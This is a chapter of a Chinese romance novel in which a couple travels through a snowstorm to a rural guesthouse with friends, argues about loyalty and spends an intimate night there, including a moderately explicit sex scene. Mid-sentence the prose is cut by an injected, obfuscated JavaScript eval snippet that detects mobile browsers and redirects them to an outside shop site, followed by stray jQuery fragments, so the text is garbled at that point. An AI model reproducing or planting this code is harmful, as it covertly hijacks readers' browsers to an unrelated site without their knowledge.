蔺雨落喜欢自己画的这颗心。
在奔向寒冷之地的途中,她画的这颗心呐,把车窗装饰得好看。越向北开越冷,眼见着冷热在车窗上相遇,冰花结了又化了。
“你们去东北那次…炮火连天那次…”蔺雨落故意逗顾峻川,果然换来他一句:“闭嘴。”
“是不是比现在还要冷?”
“嗯。”
“看你这小气劲儿,怎么还生气啦。”顾峻川不许蔺雨落提“炮火连天”四个字,说是对他人格的严重侮辱。蔺雨落就说那也是苏景秋侮辱你,不是我。你去跟苏景秋干一架。
顾峻川不理她,蔺雨落就故意气他:“要么说呢,真假难辨。”
“我把你扔下去你信不信?”
“我不信。”
顾峻川就路边停车,表情有点吓人,解安全带的时候有点像屠夫,真要犯混蛋似的。蔺雨落就抓着椅背对他说:“这么冷,我感冒了跟你没完!”
“扔下去你就冻死了,我管你有完没完。”
他开始穿饥寒羽绒服,戴帽子,戴手套,要来真格的,顺手把蔺雨落羽绒服丢到她身上:“穿!”
打开车门的时候灌进一股凉风,蔺雨落咳了一声:“我不下车!”
“我去开尿。”
“你别走太远,冷!”
开了一路车,路过两个关停服务区,顾峻川这泡尿再憋人就要废了。两辆车里都有女士,顾峻川故意走出很远,从蔺雨落的角度最后只看到他的帽子边儿。到底是找了一棵树。
紧接着苏景秋和蔺雨舟也依次过去了,都跟顾峻川一样。
蔺雨落坐在车上,一颗心提到嗓子眼儿,竟天真地担心顾峻川会冻死。他几分钟没回来,她羽绒服已经穿戴好,想要下车寻他。这时也不怕风雪寒冷了,而是怕自己的男朋友葬身雪地。车门一开,就灌了强风。她没有应对这种天气的成熟经验,站那咳了了一声向前走。
地上又滑,她趔趄一下被突然冒头的顾峻川一把抓住,把她带回车里。
“你干嘛去?”他问她:“你想去尿尿?屁股给你冻掉!”
“你去太久了,我怕你冻死。”蔺雨落说。
“离太近让你们观摩吗?”顾峻川帮她拍打衣上的雪,这才意识到蔺雨落的话,她怕他冻死,所以她要下车去找。她大概没想过,能冻死他的天气她下车也是送死。蔺雨落平时也不是脑子被不灵光的人,今天竟然会短路。
因为顾峻川带来的短路。
“你刚刚怕谁冻死?”顾
峻川问又问。
“你呀。”
“那你呢?不怕自己也跟着冻死?”
“我得给你收尸啊。”
“…”
顾峻川明知这句话蠢,竟然还是有点感动。场面很温馨,如果蔺雨落不问出下一句话的话:“会不会冻坏?”
“什么会不会冻坏?”
蔺雨落手指了指他裤子位置,她真的好奇,那么冷的天。
“你现在真的是什么都能问出口了。”
“千万别冻坏。我用得很开心。”
顾峻川从没想到有一天自己会为蔺雨落的聊天尺度震惊:“你的意思是你很喜欢我的工具?”
“我的意思是我喜欢和你睡觉。”蔺雨落加了一句:“最喜欢。所以有时候我也在想,如果有一天我们分开了,我可能真的会因为找不到这么合心意的…而难过。”
顾峻川有一瞬间冒出点坏心眼来,那就是让她提前体验一下得不到他。
下起了雪,紧接着刮起了大风,车开得很难,终于找到一个避风的位置停车。周围很安静,天地风雪将他们的车包围了。路面一瞬间就彻底白了,雪下是上一阵风雪留下的冰和雪块。
上一次跟李斯琳来的时候没赶上这样的路况,蔺雨落有点害怕,渐渐指尖就凉了。顾峻川就抓过她的手,对她说:“怕什么?万一咱们有事,你还能带一个称心的人下去。到了那头也有人陪你睡觉。”
“这是什么混话!”
“你说不是混话,我说就是混话?”顾峻川逗她:“你发现了吗?好像你跟我一起出来玩,总能遇到一些特殊的事情。”
蔺雨落仔细回想,还真是。去看海,阴的;去采风,赶上大暴雨;再去看海,顾西岭去世;看雪,赶上天降大雪。天气预报可是说今天是晴天。
“这八成是老天爷提醒我,不能跟你在一起。”蔺雨落认真道。
“然后呢?”
“我不服。我偏要跟你在一起。”蔺雨落倾身上前扯住他衣领带向自己:“想到有可能跟你死在一起,我竟然很开心。”轻轻碰了碰他嘴唇,手捧着他脸。冰凉的手指插进他发间取暖。
这样的天气让蔺雨落想表白。
“顾峻川。”
“嗯?”
“我好爱你。”
蔺雨落的爱是坚定的,不管她是否许诺了永远,在当下,她真的很爱他。
“走吧,穿越风雪。”顾峻川说。他也会纳闷,为什么他们在一起的旅程总会伴有这样或那样的插曲,好像他们
就不该有一次完美的旅行一样。
但这也让他们看到了不同的风景。
在通往山上的路上,只有他们在赶路,再没有别的人。在这里,他们是渺小的。或许也正因为这样的经历,让蔺雨落意识到她好像离不开顾峻川。
有他在,她的恐惧很少,甚至会消失不见,她觉得自己置身于一个全然安全的环境之中。
“咱们是为了看雪出来的。还没到地方,就看到了雪。蔺雨落的心境变了。她觉得这大雪下得可真好,让她这趟旅行,从出发开始就有了意义。
真的是历经辛苦才到了地方。
还是那家民宿,这个季节仍旧很少有人入住。老板从山下的镇子提前赶回来把房间烧热,还做了一锅铁锅炖迎接他们。
高沛文跟老板聊天,问他今年生意是不是很好做?老板说:一年比一年好做。因为来这里的人一年比一年年多。如果明年也这么好的话,再过两年就能给女儿在市里买房子了。
大家都觉得这样的年景很不错,一年又一年,日子都能越来越好。顾峻川却在一边泼凉水:“别的事也想想,别把鸡蛋都放在一个篮子里。
不把鸡蛋放在一个篮子里,是顾峻川和蔺书雪常说的话。老板就问,那还有别的方法吗?
不如卖点特产。
顾峻川就这么随口一说,听者却有心。老板家里养羊、养鸡,还有种了很多的土豆。从前一直想搞点生意,但都搞不太好。于是缠着顾峻川问,有没有什么大企业能收去。
顾峻川吃着铁锅炖里的土豆,面而香甜,绿野倒是可以研究相关点心来,就答应老板回去就找人来这里。
他到哪都要谈生意,苏景秋不服输,在一边拆台:“哪有那么复杂?我的轻食餐厅卖焗土豆!土豆泥!我走的时候就买几筐!
大家就笑了。
蔺雨舟一直不说话,蔺雨落就问他:“后来李斯琳回你消息了吗?
蔺雨舟摇头。
李斯琳跟别人都有联系,没回蔺雨舟消息就是真的不想跟他说话了。高沛文在一边啧啧出声:“李斯琳上午还给我发她在挪威的照片呢!也下着大雪。她跟狗比赛拉雪橇,20米内跑赢了狗。
“这么彪悍,的确是李斯琳。顾峻川说。
他们的话题围绕李斯琳,蔺雨舟无从插话。蔺雨落制止这群坏心眼的人,拿苏景秋开刀:“你好像还没跟你老婆报平安。
苏景秋梗了一下指着蔺雨落:“你心真黑啊。
大家就都笑了。
聊天的时候蔺雨落不知为什么,手总要去抓顾峻川的。顾峻川呢,她手递过来的第一瞬间他就抓在手里。蔺雨落觉得离开了北京,来到一个陌生的地方,让顾峻川在她心里变大变重。
他们两个的手在桌下连着,你捏我一下我捏你一下。被人发现了也不回避。苏景秋真想戳瞎自己眼睛,他扪心自问造了什么孽要让他看这些!
蔺雨落此刻的开心是真实的、深刻的。
在热闹之中,她的眼一次次无意识飘向顾峻川,看他坚毅的侧脸,笑的时候却晴朗。
蔺雨落觉得这样的他真的是刚刚好。不过分成熟、也不十分幼稚;不过分幼滑,又不十分天真。他就做他自己,从来都不盲从。
蔺雨落第一次见他,以为他是被包养的小白脸,因为他的皮囊太优越。可现在再看,他哪里像小白脸了?分明是她自己看人太浅。
她对顾峻川的认知一天天在改变,没能一见钟情,却终于在一日一日的相处中,一点点看到他的好来。
顾峻川以为蔺雨落迷恋他的美色,就对她挑眉。大概是美色常有,他不常有。在这样的氛围里,谁有多少痛苦都不重要,反正痛苦都会过去的。人只要活着,就要拥抱明天。
“你知道吗?有一段时间我觉得我自己很别扭。那天在散场后,蔺雨落跟顾峻川说:“我好想交朋友,但我不会;我好想赚大钱,但我没有偏财运;我好想去春游,但我在出发前就胆怯。
“因为春游要花钱要占时间?
“是的。
这个世界是非常现实的。
收入很低的大部分人根本没有时间,他们的时间都用来工作,以换取好一点的报酬。蔺雨落就是这样的人。美容院同事休假,她就咬牙顶上,最长两个多月没有休息过一天。
“所幸你永远知道下一步要去哪里。顾峻川说。蔺雨落的目标永远不会定太大,她会看准了权衡了直接出手去够。
“这就是你和我打电话的房间吗?顾峻川在房间里走了走,屋子很小。原来蔺雨落就是在这里安慰他的恐惧的。
“对。
“那你为什么要安慰我?当时咱们什么关系都没有。
“我根本没想安慰你。我就是想确认你别有什么事,好歹相识一场。
蔺雨落故意说得轻巧,她当然不是这样想的。那天她非常担心顾峻川,以至于到现在她自己都不明白原因。还有顾峻川睡过头消失那次,她连悼词都想好了。但你要问她原因,她说不出来。
顾峻川不喜欢这个答案,他说:“承认你当时担心我,意味着你在那段恋爱中出轨是吧?”
蔺雨落看着他。
“不知道是哪个人给你灌输的观念,因为你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099497|87165||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在恋爱所以要断绝跟所有异性的社交,不然你就是贱/人;也不知道是哪个神经不正常的人给别人乱扣精神出轨的帽子。”
“?你数数了吗顾峻川?”
“数了。”
“这是你数数的结果?”
“对。”顾峻川打断她:“我还没说完。你越不敢正视,越遂了别人的心意去隐藏,他们就越觉得自己是对的。他们会一直指点你的人生,直到你死了。”
…
“你到底要说什么?”蔺雨落压低声音问他,怕别人听到他们突然而来的小争吵。
“我要说的是,正视你自己的心。人的感情不是非黑即白。你否认你当时对我的关心,等于对我们之间感情的亵渎。”这样的亵渎,顾峻川是一点都不想要。他知道那时蔺雨落给他发消息绝不是因为爱情,但也不是轻飘飘地确认他是死是活,那是一种很真挚的人与人之间的情感。那没什么不能承认的。那种情感也很宝贵。
蔺雨落不回答他,因为她听到挠门声。推开顾峻川去门口,开门前裹紧了衣服。她门只开了一个缝儿,就有什么东西钻了进来。尖叫一声跳到顾峻川身上,转头去找。
一只狗儿坐在那,身上的毛发都冻住了。圆眼睛亮晶晶,看着蔺雨落汪了一声,大概意思是你不记得我了?
蔺雨落惊呆了:“顾峻川,是那只狗。它没被开膛破肚,它还活着啊。”
上一次来这里,返程前做了一个噩梦,梦到她喂的那只野狗被开膛破肚悬于梁下,她好一阵难过。她以为那寓意她灿烈的人生,让她惴惴不安。
今天这只狗竟然回来了,穿过风雪夜,找了回来。这奇怪的因果。
她去找吃的给狗儿吃,狗儿吃得香,吃过后又去到上一次的位置,哼一声,趴下了。
蔺雨落忘记了刚刚的争吵,她突然想起宁风。她很久没有联系他了,不知道他在非洲好不好。她现在觉得那被开膛破肚的不是狗、也不是她从前乱糟糟的人生,或许是宁风。
“我给宁风发条消息可以吗?”她问。
“为什么不可以?”顾峻川神情严肃:“你忘记我刚刚说的话了吗?”
“我记得。我没有亵渎你的感情,我承认我当时非常担心你,如果你那天真出事,我会难过很久很久。”
蔺雨落给宁风发了一条消息:很
久没有联系,你最近怎么样?身体和工作都顺利吗?
宁风回她:一切都好。落落,不用担心。
蔺雨落放下心来,躺在顾峻川身边,火炕很热,她的身体热烘烘的。
顾峻川嘴唇过来的时候她本能躲闪,怕有任何响动吵到别人。但顾峻川手挡在她唇上,从耳边渐次向下,蔺雨落推他不动,察觉到人在这飘雪的黑夜中被架到了火上。
“你缺一个花棉袄。”
“还缺一个红肚兜。”
那个梦在顾峻川的记忆里存了很久,在他单身的日子里,时不时出来鞭挞他。他清晰记得梦里每一个场面,肚兜上两点水印,是他的嘴唇隔着丝绸寻宝似地含出的。手伸进去,就是绵软。
他揉啊捏啊总不过瘾。埋首进去,就是她自带的香气。他的鼻尖擦过细细的带子,又用牙齿咬开,就有大片雪花白。
蔺雨落咬着被子不敢发出任何声音,里里外外的火烧着她,让她整个人像浸到了水里。
她甚至觉得自己冒着热气,被顾峻川翻炒。
火最旺的时候,她的指甲陷进他皮肤里,在他耳边急急几十次呼吸,才得以活下来。
外面雪还在下,蔺雨落爬到窗边掀开窗帘去看,一片白色的荒原。窗缝里渗进凉气,她哆嗦一下,被顾峻川裹进怀里。他脸颊的汗还没消尽,蔺雨落抬手帮他擦掉。两个人说起了悄悄话。
说的是对方可还有什么遗憾。
蔺雨落说她没有了,她想要的慢慢都得到了;顾峻川说他还有,在绿春的那个观景屋里…蔺雨落拧他胳膊,两个人撕在了一起。
“你怎么满脑子都是这些乌七八糟的东西!”
“蔺雨落你必须承认,性是爱的组成部分。你见过哪个男的说我好爱你,但我对你硬不起来?”
“…”
“实话罢了!”
第二天大雪封门。他们换上雪地靴,把鞋口扎严,从门前踩出一趟脚印,一直去到远方。他们的帽子上肩膀上都是雪。脸蛋被风吹红,笑起来露出白牙,看起来像一群二傻子。
顾峻川找了几个二踢脚在雪地里点,声音有几分热闹。村子里还剩着的那几户人家的老人冒雪出来看年轻人玩。
有老人问顾峻川要几个炮仗,顾峻川看那老人颤巍巍的,担心不小心崩着,就不肯给。让那老人站远点看着。炮仗带起的雪崩到顾峻川嘴里,连雪带泥,他吐了半天。别人都在笑,到处都是淳朴的快乐。
这是2019年的最后一天。
蔺雨落好像对每一年的最后一天发生的事情都很模糊,但这一天她会记很久。就像村子里的老人,能随口说出这一生中哪一年的哪一天,发生了什么事。那一定是很特别的一天。
蔺雨落对奔向下一年充满期待。
虽然她根本不知道下一年会发生什么。